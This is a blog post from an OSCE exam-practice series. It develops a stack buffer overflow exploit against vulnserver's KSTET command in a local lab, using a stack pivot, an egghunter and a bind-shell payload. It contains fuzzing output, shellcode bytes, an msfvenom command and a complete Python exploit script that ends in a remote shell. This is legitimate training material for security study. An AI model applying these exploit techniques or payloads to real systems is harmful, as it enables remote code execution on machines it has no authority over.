Blog


OSCE Exam Practice - Part V (KSTET via 3-stage Shellcode)

May 19, 2020 | 19 minutes read

Tags: osce, vulnserver, windbg, boofuzz

Lab Environment

In case you’re missing anything listed above (excluding vulnserver), check out OSCE Exam Practice - Part I (Lab Setup).

DISCLAIMER: This series of posts is geared toward diving deeper on more modern tooling (boofuzz, windbg, mona, et al) as well as gaining proficiency/efficiency with exploit development. It’s not a guide for the how-to portion of writing a PoC (even though I step through things slowly, I don’t explain things to that level of detail). I assume if you’re here to look at OSCE practice examples, you probably don’t need the step-by-step instructions for every little thing. With all that said, I hope you find something useful!

Other posts in the series:


Introduction

Good morning (or w/e)! In this post, we’ll develop an exploit for vulnserver’s KSTET command using 3 separate stages of shellcode. The first stage will get us out of a 20 byte corner by using a stack pivot. The first stage will move us into another restrcited space situation, except with 52 bytes available, which happens to be enough for an egghunter! The egghunter will move execution to the third stage. The third stage will be our egg and bind shell. Let’s get to it!

Fuzzing

To get started, we’ll copy the TEMPLATE_DIR from the repo and rename it to KSTET. We’ll then modify KSTET\fuzzing\fuzzer.py so that

55s_string("COMMAND TO FUZZ", fuzzable=False)  # change me 

becomes

55s_string("KSTET", fuzzable=False)

Run the Fuzzer

As usual, we’ll need two terminals to begin fuzzing; one for the fuzzer the other for the process monitor.

Terminal 1:

C:\Python27\python.exe C:\Users\vagrant\Downloads\boofuzz-master\process_monitor.py
═══════════════════════════════════════════

[06:23.08] Process Monitor PED-RPC server initialized:
[06:23.08]       listening on:  0.0.0.0:26002
[06:23.08]       crash file:    C:\Users\vagrant\Desktop\OSCE-exam-practice\GMON\fuzzing\boofuzz-crash-bin
[06:23.08]       # records:     0
[06:23.08]       proc name:     None
[06:23.08]       log level:     1
[06:23.08] awaiting requests...

Terminal 2:

C:\Python37\python.exe .\fuzzer.py
══════════════════════════════════

[2020-05-16 18:24:27,163]     Info: Web interface can be found at http://localhost:26000
fuzzing with 1441 mutations
...

Crashes

After the fuzzing session completes, we can inspect the crash-bin file. After cross-referencing the crash IDs with their payloads via the method discussed in PART II, we come up with the following fuzz strings being viable candidates for our initial crash.

301: "'" * 132
1102: "+" * 134
4102: "," * 4102
601: "a=" * 1028
503: "?" * 520
2: "A" * 5012
901: "]" * 65540
1201: "}" * 262
1351: "\xfe" * 1029

To keep it simple, we’ll use the first one listed (test #301).

Building the Exploit

Initial Crash PoC

As stated above we’ll use 132 '’s for the initial crash. We’ll modify KSTET\initial-crash\exploit.py from

4VULNSRVR_CMD = b""  # change me
5CRASH_LEN = 0  # change me

To the following

4VULNSRVR_CMD = b"KSTET "  # change me
5CRASH_LEN = 132  # change me

Additionally, well need to update

10payload += b"A" * CRASH_LEN

to

10payload += b"'" * CRASH_LEN

With that, let’s throw our initial PoC.

kstet-initial-crash

There we go, EIP is filled with 0x27’s aka '! One thing of note is the small number of 27’s located at ESP. That is a very small buffer to work with, but we’ll get it done!

Determine the Offset

Next up, we’ll determine the offset using GMON\find-offset\exploit.py from our templates.

Let’s create a cyclic pattern 132 bytes long.

!py mona pc 132
═══════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py pc 132
Creating cyclic pattern of 132 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3
[+] Preparing output file 'pattern.txt'
    - Creating working folder c:\monalogs\vulnserver_4296
    - Folder created
    - (Re)setting logfile c:\monalogs\vulnserver_4296\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open c:\monalogs\vulnserver_4296\pattern.txt and copy the pattern from the file

Then, we’ll update line 11 in our template.

Don’t forget to update the global variables CRASH_LEN and VULNSRVR_CMD

10payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3"

The next step is to throw the updated script, after which we’ll run findmsp.

!py mona findmsp
════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py findmsp
[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x004c37e8 (length 132 bytes)
    Cyclic pattern (normal) found at 0x004c1556 (length 94 bytes)
    Cyclic pattern (normal) found at 0x004c37e8 (length 132 bytes)
    Cyclic pattern (normal) found at 0x017ff996 (length 94 bytes)
[+] Examining registers
    EIP contains normal pattern : 0x63413363 (offset 70)
    ESP (0x017ff9e0) points at offset 74 in normal pattern (length 20)
    EBP contains normal pattern : 0x41326341 (offset 66)
[+] Examining SEH chain
[+] Examining stack (entire stack) - looking for cyclic pattern
    Walking stack from 0x017ff000 to 0x017ffffc (0x00000ffc bytes)
    0x017ff998 : Contains normal cyclic pattern at ESP-0x48 (-72) : offset 2, length 92 (-> 0x017ff9f3 : ESP+0x14)
[+] Examining stack (entire stack) - looking for pointers to cyclic pattern
    Walking stack from 0x017ff000 to 0x017ffffc (0x00000ffc bytes)
[+] Preparing output file 'findmsp.txt'
    - (Re)setting logfile c:\monalogs\vulnserver_2764\findmsp.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.

There are two primary items of interest in the output above. First, our offset to EIP is at 70 bytes. Second, the space of the buffer at ESP is only 20 bytes. That’s not much room to work with. With offset in hand, let’s confirm we control EIP.

Confirming the Offset

In order to confirm EIP overwrite, we’ll update our PoC.

First, update the OFFSET variable.

6OFFSET = 70

Then, comment out (or remove) the cyclic pattern.

11# payload += b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3"

Finally, uncomment the confirmation structure

14payload += b"A" * OFFSET
15payload += b"B" * 4
16payload += b"C" * (CRASH_LEN - len(payload))

Now we’re free to fire at will.

kstet-confirm-offset

EIP contains our B’s and ESP points to our C’s; nice!

Finding Bad Characters

This part is kind of lame. We’re going to need to split up the bad character byte array over multiple instances. It’s not difficult, just time consuming. Fortunately, it gives us an opportunity to learn some other flags to mona’s ba command. Let’s get started.

mona.py ba

Let’s generate our chunks. We know we have 70 bytes of space before EIP and 20 bytes after. If we filled the 70 and 20 byte spaces on each throw we could be done in three iterations (barring complications). Frankly, the 20 byte addition isn’t really worth the effort in my opinion, so we’ll just use 4 chunks.

The commands used to split the byte array are as follows. One thing to note is that we’ll need to pull off each individual .bin file generated so we can use them for comparison later (or you could pull them down from the repo, lol).

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

With each command, we can update our KSTET\id-bad-chars\exploit.py template to include the following instead of the templated bad_chars variable.

 9-------------8<-------------
10chunk_one  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
11chunk_one += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
12chunk_one += b"\x41\x42\x43\x44\x45\x46"
13
14chunk_two  = b"\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66"
15chunk_two += b"\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86"
16chunk_two += b"\x87\x88\x89\x8a\x8b\x8c"
17
18chunk_three  = b"\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac"
19chunk_three += b"\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc"
20chunk_three += b"\xcd\xce\xcf\xd0\xd1\xd2"
21
22chunk_four  = b"\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2"
23chunk_four += b"\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
24-------------8<-------------

mona.py compare

Before we throw our first bad character finding PoC, let’s update the payload variable to include chunk_one.

1-------------8<-------------
2payload = VULNSRVR_CMD
3payload += chunk_one
4payload += b"A" * (OFFSET - len(chunk_one))  # account for chunk_four
5payload += b"B" * 4
6payload += b"C" * (CRASH_LEN - len(payload))
7-------------8<-------------

After throwing the updated exploit, we see that EAX contains our payload.

kstet-eax-contains

If we add 6 to EAX, we’re at the exact location of the start of our byte array.

kstet-eax-contains-2

We’ll use that piece of information to compare the byte array and later when developing our final payload.

Since we know where our byte array is, and we’re still paused in windbg, let’s compare the first chunk of our bad character array.

!py mona compare -f C:\users\vagrant\osce-exam-practice\kstet\id-bad-chars\chunk_one.bin -a eax+6
═════════════════════════════════════════════════════════════════════════════════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py compare -f C:\users\vagrant\osce-exam-practice\kstet\id-bad-chars\chunk_one.bin -a eax+6
[+] Reading file C:\users\vagrant\osce-exam-practice\kstet\id-bad-chars\chunk_one.bin...
    Read 70 bytes from file
[+] Preparing output file 'compare.txt'
    - Creating working folder c:\monalogs\vulnserver_3424
    - Folder created
    - (Re)setting logfile c:\monalogs\vulnserver_3424\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] C:\users\vagrant\osce-exam-practice\kstet\id-bad-chars\chunk_one.bin has been recognized as RAW bytes.
[+] Fetched 70 bytes successfully from C:\users\vagrant\osce-exam-practice\kstet\id-bad-chars\chunk_one.bin
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x01abf996 | [+] Comparing with memory at location : 0x01abf996 (Stack)
0x01abf996 | !!! Hooray, normal shellcode unmodified !!!
0x01abf996 | Bytes omitted from input: 00 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff

All we need to do is repeat this same process for chunk_{two,three,four}. Once all chunks are checked, we find out that only null-bytes need to be excluded!

mona.py jmp

Onto our final template! Let’s begin by finding a jmp esp using mona.

!py mona jmp -r esp
═══════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py jmp -r esp

---------- Mona command started on 2020-05-19 17:21:41 (v2.0, rev 605) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 2 modules
    - Querying module essfunc.dll
                         ^ Memory access error in '!py mona jmp -r esp'
 ** Unable to process searchPattern 'mov eax,esp # jmp eax'. **
    - Querying module vulnserver.exe
                         ^ Memory access error in '!py mona jmp -r esp'
 ** Unable to process searchPattern 'mov eax,esp # jmp eax'. **
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile c:\monalogs\vulnserver_3216\jmp.txt
[+] Writing results to c:\monalogs\vulnserver_3216\jmp.txt
    - Number of pointers of type 'jmp esp' : 9 
[+] Results : 
0x625011af |   0x625011af : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011bb |   0x625011bb : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011c7 |   0x625011c7 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011d3 |   0x625011d3 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011df |   0x625011df : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011eb |   0x625011eb : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x625011f7 |   0x625011f7 : jmp esp |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x62501203 |   0x62501203 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x62501205 |   0x62501205 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
    Found a total of 9 pointers

Now, we can update KSTET\final-poc\exploit.py with one of the gadgets listed above. While we’re at it, we can also comment out the shellcode line from the template and adjust the SLED_LENGTH to 4 or so.

52payload += struct.pack("<I", 0x62501203)  # change me
53payload += b"\x90" * 4
54# payload += shellcode

Stack Pivot

Much like our stack pivot in Part IV, we’ll insert some raw instructions to make our jump into the larger buffer space. Recall that EAX points to the beginning of our payload (where we have 70 bytes of space) and that EAX + 6 is the beginning of what we can control. We’ll use nasmshell to generate the instructions to jump back to the beginning of our payload from ESP via EAX.

nasm> add eax, 0x6
83C006                   add eax,byte +0x6
nasm> jmp eax
FFE0                     jmp eax

Let’s insert those instructions into our PoC.

49-------------8<-------------
50stage_one  = b"\x83\xc0\x06"   # add eax,byte +0x6
51stage_one += b"\xff\xe0"  # jmp eax
52
53payload = VULNSRVR_CMD
54payload += b"A" * OFFSET
55payload += struct.pack("<I", 0x62501203)  # change me
56payload += b"\x90" * 4
57payload += stage_one
58payload += b"C" * (CRASH_LEN - len(payload))
59-------------8<-------------

In order to confirm everything is working, let’s set a breakpoint at our jmp esp address then step through.

bp 0x62501203

kstet-jmp-esp

And the step (F10) where we see our lil’ sled and the stack pivot; excellent!

kstet-stack-pivot

Before taking the pivot, here’s EAX.

kstet-eax

And then stepping through the pivot, we see we land right were we expect (same address as EAX + 6)!

kstet-stage-two-of-as

mona.py egg

Ok, we have 70 bytes of space for our stage-2. We’ll use that space to insert an egghunter, just like we did in Part III. If you need a refresher on the subject, or want to know why we chose c0d3, please refer back to Part III. Without further ado…

!py mona egg -t c0d3
════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py egg -t c0d3
[+] Egg set to c0d3
[+] Generating traditional 32bit egghunter code
[+] Preparing output file 'egghunter.txt'
    - Creating working folder c:\monalogs\vulnserver_3604
    - Folder created
    - (Re)setting logfile c:\monalogs\vulnserver_3604\egghunter.txt
[+] Egghunter  (33 bytes): 
"\x90\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a"
"\x74\xef\xb8\x63\x30\x64\x33\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff"
"\xe7"

With that done, we’ll need to alter our PoC and add the egghunter.

49-------------8<-------------
50stage_one  = b"\x83\xc0\x06"   # add eax,byte +0x6
51stage_one += b"\xff\xe0"  # jmp eax
52
53# !py mona egg -t c0d3
54stage_two = b"\x90\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x30\x64\x33\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
55
56payload = VULNSRVR_CMD
57payload += stage_two
58payload += b"A" * (OFFSET - len(stage_two))
59payload += struct.pack("<I", 0x62501203)  # change me
60payload += b"\x90" * 4
61payload += stage_one
62payload += b"C" * (CRASH_LEN - len(payload))
63-------------8<-------------

Stage Three

All that’s left at this point is to insert our bind shell payload into our PoC. In Part III, there was enough room in our payload sent to GMON that we could include the bind shell in the same exploit string as the egghunter. Unfortunately, that’s not the case here. This time around, we’ll need to get our egg and stage-3 into memory some other way.

Luckily, we can easily test whether we’ve sucessfully inserted our stage-3 or not with mona’s compare command. Our plan of attack is as follows

  1. create a binary file containing our egg * 2
  2. send the egg to vulnserver through a different command
  3. use compare to check for the egg in memory

If compare returns a match in memory, we can send two separate payloads. One with the egg and stage-3, the other with the egghunter. Let’s make it happen!

mona.py compare - egg version

We need to create a binary file that contains our egg twice. On windows, I prefer 010 as a hex editor, but feel free to use whatever is handy/preferred.

code-egg

Let’s hook up windbg to vulnserver and then use netcat and the RTIME command to send our egg.

I’ve chosen RTIME because I fuzzed it and it didn’t crash, suggesting it can handle 350ish bytes.

nc -vn 127.0.0.1 9999
(UNKNOWN) [127.0.0.1] 9999 (?) open
Welcome to Vulnerable Server! Enter HELP for help.
RTIME c0d3c0d3
RTIME VALUE WITHIN LIMITS

Next, use alt+d -> b to pause execution in windbg. After that, we can search for our egg.

!py mona compare -f C:\users\vagrant\osce-exam-practice\c0d3-egg.bin -t raw
═══════════════════════════════════════════════════════════════════════════

Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py compare -f C:\users\vagrant\osce-exam-practice\c0d3-egg.bin -t raw
[+] Reading file C:\users\vagrant\osce-exam-practice\c0d3-egg.bin...
    Read 8 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile c:\monalogs\vulnserver_6092\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Fetched 8 bytes successfully from C:\users\vagrant\osce-exam-practice\c0d3-egg.bin
[+] Locating all copies in memory (normal)
    - searching for \x63\x30\x64\x33\x63\x30\x64\x33
    - Comparing 3 location(s)
Comparing bytes from file with memory :
0x005837ee | [+] Comparing with memory at location : 0x005837ee (Heap)
0x005837ee | !!! Hooray, normal shellcode unmodified !!!
0x005837ee | Bytes omitted from input: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 31 32 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
0x00584bfe | [+] Comparing with memory at location : 0x00584bfe (Heap)
0x00584bfe | !!! Hooray, normal shellcode unmodified !!!
0x00584bfe | Bytes omitted from input: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 31 32 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
0x00584bfe | [+] Comparing with memory at location : 0x00584bfe (Heap)
0x00584bfe | !!! Hooray, normal shellcode unmodified !!!
0x00584bfe | Bytes omitted from input: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 31 32 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff

Huzzah! Our egg made it, let’s finish things up.

Getting a Shell

All that’s left is for us to add our stage-3 and send it before sending our exploit. First, our stage-3:

55-------------8<-------------
56stage_three  = b"RTIME "
57stage_three += b"c0d3c0d3"
58stage_three += shellcode
59-------------8<-------------

And the code to send the stage-3

67-------------8<-------------
68with socket.create_connection(target) as sock:
69    sock.recv(512)  # Welcome to Vulnerable Server! ... 
70
71    sock.send(stage_three)
72-------------8<-------------

Our final PoC should look something like this:

 3-------------8<-------------
 4VULNSRVR_CMD = b"KSTET "  # change me
 5CRASH_LEN = 132  # change me
 6OFFSET = 70  # change me
 7SLED_LENGTH = 4
 8-------------8<-------------
 9# msfvenom -p windows/shell_bind_tcp LPORT=12345 -f python -v shellcode -b '\x00' EXITFUNC=thread
10# Payload size: 355 bytes
11shellcode =  b""
12shellcode += b"\xbb\xed\x65\x39\x9d\xdb\xdb\xd9\x74\x24\xf4"
13shellcode += b"\x58\x33\xc9\xb1\x53\x31\x58\x12\x83\xc0\x04"
14-------------8<-------------
15stage_one  = b"\x83\xc0\x06"   # add eax,byte +0x6
16stage_one += b"\xff\xe0"  # jmp eax
17
18# !py mona egg -t c0d3
19stage_two = b"\x90\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x63\x30\x64\x33\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
20
21stage_three  = b"RTIME "
22stage_three += b"c0d3c0d3"
23stage_three += shellcode
24
25payload = VULNSRVR_CMD
26payload += stage_two
27payload += b"A" * (OFFSET - len(stage_two))
28payload += struct.pack("<I", 0x62501203)  # change me
29payload += b"\x90" * SLED_LENGTH
30payload += stage_one
31payload += b"C" * (CRASH_LEN - len(payload))
32
33with socket.create_connection(target) as sock:
34    sock.recv(512)  # Welcome to Vulnerable Server! ... 
35
36    sock.send(stage_three)
37
38with socket.create_connection(target) as sock:
39    sock.recv(512)  # Welcome to Vulnerable Server! ... 
40    sent = sock.send(payload)
41    print(f"sent {sent} bytes")

If all goes well when we throw the code above, we should see a listener on port 12345 open up.

nc -vn 127.0.0.1 12345
══════════════════════

(UNKNOWN) [127.0.0.1] 12345 (?) open
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.
C:\Users\vagrant\Downloads\vulnserver-master> 

Outro

Hopefully you enjoyed this writeup. The next post will either cover LTER or another way of doing KSTET perhaps. I hope to see you then!


comments powered by Disqus